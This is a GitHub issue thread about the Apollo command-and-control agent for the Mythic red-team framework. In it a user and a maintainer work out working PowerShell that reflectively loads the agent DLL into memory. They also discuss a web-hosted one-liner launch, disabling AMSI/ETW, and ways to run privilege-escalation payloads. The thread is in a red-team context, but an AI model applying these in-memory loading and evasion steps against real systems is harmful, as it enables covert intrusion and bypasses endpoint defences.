MythicAgents / Apollo

A .NET Framework 4.0 Windows Agent
BSD 3-Clause "New" or "Revised" License
434 stars 90 forks source link

FUD of agent #49

Closed russokiwi closed 2 years ago

russokiwi commented 2 years ago

Hi guys. There seems to be not much flexibility in obfuscating the agent. I'm wanting to figure out how to call the dll method, and have decompiled the assembly, but not having much luck. Here's code so far from some guess work:

$FilePath = "C:\Downloads\apollo.dll" $ByteArray = [System.IO.File]::ReadAllBytes($FilePath); $Base64String = [System.Convert]::ToBase64String($ByteArray); $assemblyBytes = [System.Convert]::FromBase64String($Base64String); $assembly = [System.Reflection.Assembly]::Load($assemblyBytes); $entryPointMethod = $assembly.GetType('Apollo.Agent', [Reflection.BindingFlags] 'Public, NonPublic').GetMethod('InitializeAgent', [Reflection.BindingFlags] 'Static, Public, NonPublic') $entryPointMethod.Invoke($null)

The plan is to eventually host the dll on the web server with just a powershell one liner for exec. The idea is to turn of as much as we can of AMSI / ETW before invoking script inline.

Also, I noticed on the framework that one can not specify their own payload for UAC / privesc, for example. I get it if it's by design for OPSEC, etc.. but without FUD capability on those agents, we are going to have a hard time putting things to practice... Cheers.

djhohnstein commented 2 years ago

I haven't personally worked a lot with the DLL export, but I'm surprised the reflection method didn't work to invoke the agent. I would directly invoke the entry point instead of doing the initialize agent piece, so something like $assembly.EntryPoint.Invoke($null, $null). Optionally you can pass in args to that as well if that's your cup of tea for agent UUID and whatever else. Sorry that wasn't clear - we can write something up there on the docs (although probably even better would be creating a wrapper payload to generate launcher powershell scripts for arbitrary assemblies).

Also, I noticed on the framework that one can not specify their own payload for UAC / privesc

I think what you want here is to implement your own command. More than doable and a pretty straight forward process if you're familiar with C#. There should be some docs on it in the documentation container, or I can point you in the right direction via Slack DMs or otherwise.

Mythic itself is scriptable to the point you can programmatically invoke commands, which might be what you're asking for in terms of "extending" functionality without necessarily adding a new command to the agent.

Or, you create your own privesc and either:

  1. Execute it with powershell/powerpick/psinject
  2. Execute it with execute_assembly
  3. Export it to shellcode and use shinject to launch it
  4. Upload your escalation binary and launch it with run, shell, etc.

without FUD capability Personally speaking, if you mean FUD to be "fully undetectable," I do think that's a bit of a misnomer as nothing is FUD. It's all about how you package up your agent and, depending on the product you're up against, the way your agent acts in an environment.

russokiwi commented 2 years ago

Thank you for the suggestion and through explanation kind sir! Yes, I understand we can do various inline commands, I guess I was coming from a UI perspective / for example when you do uacbypass, the system prompts you to select from a payload that it generated a binary for before, without giving any option to modify it or upload your own.. but that's ok, marelly a user observation,.. I've tried your suggestion with the $assembly.EntryPoint.Invoke($null, $null) - it makes sense, though no joy at this stage.. I'm getting a:

Exception calling "Invoke" with "2" argument(s): "Parameter count mismatch."
At C:\Temp\Untitled64.ps1:6 char:1
+ $assembly.EntryPoint.Invoke($null, $null)

With regards to added doco, if it's not too much trouble, for sure, that would be most appreciated!!

djhohnstein commented 2 years ago

You may need to provide an empty string of args instead of null. So something like:

[Object[]] $Params = @(,[String[]]@())
$assembly.EntryPoint.Invoke($null, $Params)

You might need to massage the arguments depending on how main will behave.

Edit: I changed the $Params definition to be an empty string array.

djhohnstein commented 2 years ago

image

I was able to deploy using the commands as shown.

russokiwi commented 2 years ago

That is awesome news mate, works this end too! Thanks so much!